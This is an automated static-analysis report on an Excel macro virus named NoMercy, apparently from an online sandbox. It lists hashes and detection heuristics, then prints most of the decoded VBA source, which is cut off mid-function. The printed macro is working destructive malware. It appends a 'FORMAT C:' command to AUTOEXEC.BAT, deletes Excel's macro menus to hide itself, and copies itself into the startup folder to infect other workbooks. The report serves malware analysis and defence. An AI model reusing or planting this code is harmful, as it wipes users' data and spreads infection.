Xls.Trojan.Team-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 5a10621b6ac01010…

MALICIOUS

Office (OLE)

25.5 KB Created: 2001-03-02 13:41:16 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: ab31e074443d361b5152f8c25d12fbfa SHA-1: ddfa767c16f0fe84610d0f0b7f7ba033b5342d5b SHA-256: 5a10621b6ac01010fa4c872dc18c8af0d816a6678cfab56c10600313c34bb033
220 Risk Score

Malware Insights

Xls.Trojan.Team-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1490 Inhibit System Recovery

The sample contains VBA macros with Auto_Open and Auto_Close functions, indicative of malicious intent. The Auto_Open macro attempts to overwrite C:\AUTOEXEC.BAT with commands to format the C drive, effectively destroying all data. It also displays a message box listing virus team members, likely as a form of ransomware or destructive wiper.

Heuristics 4

  • ClamAV: Xls.Trojan.Team-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Team-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5713 bytes
SHA-256: 8e1acd6516992413ff00f53d534487d439ed9b4f690fc824c38e513f722d9c74
Detection
ClamAV: Xls.Trojan.Team-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NoMercy2"

Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
If WeekDay(Date) = 2 And Hour(Time) > 7 Then
    Open "C:\AUTOEXEC.BAT" For Input As #1
    Close
    SetAttr "C:\AUTOEXEC.BAT", vbNormal
    Open "C:\AUTOEXEC.BAT" For Append As #1
    Print #1, "@ECHO OFF"
    Print #1, "CLS"
    Print #1, "ECHO Please wait while setup Updates Your configuration Files"
    Print #1, "ECHO This may take a few minutes..."
    Print #1, "FORMAT C: /U /C /S /AUTOTEST > NUL"
    Print #1, "ECHO Complete !!!"
    Print #1, "ECHO."
    Print #1, "ECHO."
    Print #1, "ECHO Result :"
    Print #1, "ECHO All Data Lost!!!"
    Close #1
    SetAttr "C:\AUTOEXEC.BAT", vbReadOnly
    Do
    MsgBox "NoMercy VirusTeam Members are :" + Chr$(13) + "Foxz" + Chr$(13) + "CrazyMan" + Chr$(13) + "Lucifer" + Chr$(13) + "SafeGuard" + Chr$(13) + "SlageHammer", 16, "XM. NoMercy"
    Loop
End If
MenuBars(xlWorksheet).Reset
MenuBars(xlModule).Reset
MenuBars(xlNoDocuments).Reset
MenuBars(xlInfo).Reset
MenuBars(xlChart).Reset
MenuBars(xlWorksheet).Menus("Tools").MenuItems("---").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlWorksheet).Menus("Format").MenuItems("S&heet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("--").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Delete...").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlWorksheet).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("---").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("--").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlChart).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlModule).Menus("Tools").MenuItems("Assig&n Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("--").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Record New Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Unhide...").Delete

If cek_global() Then
    GoTo FuckSheet:
Else
    infectglobal
End If
FuckSheet:
Application.OnSheetActivate = "NOMERCY.XLM!Fuck"
bye:
End Sub

Function cek_global() As Boolean
Attribute cek_global.VB_ProcData.VB_Invoke_Func = " \n14"
cek_global = False
For x = 1 To Application.Workbooks.Count
    If Application.Workbooks(x).Name = "NOMERCY.XLM" Then
    For y = 1 To Application.Workbooks("NOMERCY.XLM").Modules.Count
        If Application.Workbooks("NOMERCY.XLM").Modules(y).Name = "NoMercy2" Then
            cek_global = True
        End If
    Next y
    End If
Next x
End Function

Function infectglobal()
Attribute infectglobal.VB_ProcData.VB_Invoke_Func = " \n14"
  activebook = ActiveWorkbook.Name
  Workbooks(activebook).SaveCopyAs Application.StartupPath + "\NOMERCY.XLM"
  Workbooks.Open (Application.StartupPath + "\NOMERCY.XLM")
  Windows("NOMERCY.XLM").Visible = False
 Application.Workbooks("NOMERCY.XLM").Save
End Function

Function inFuckIt() As Boolean
Attribute inFuckIt.VB_ProcData.VB_Invoke_Func = " \n14"
activebook = ActiveWorkbook.Name
inFuckIt = False
For y = 1 To Application.Workbooks(activebook).Modules.Count
    If Application.Workbooks(activebook).Modules(y).Name = "N
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.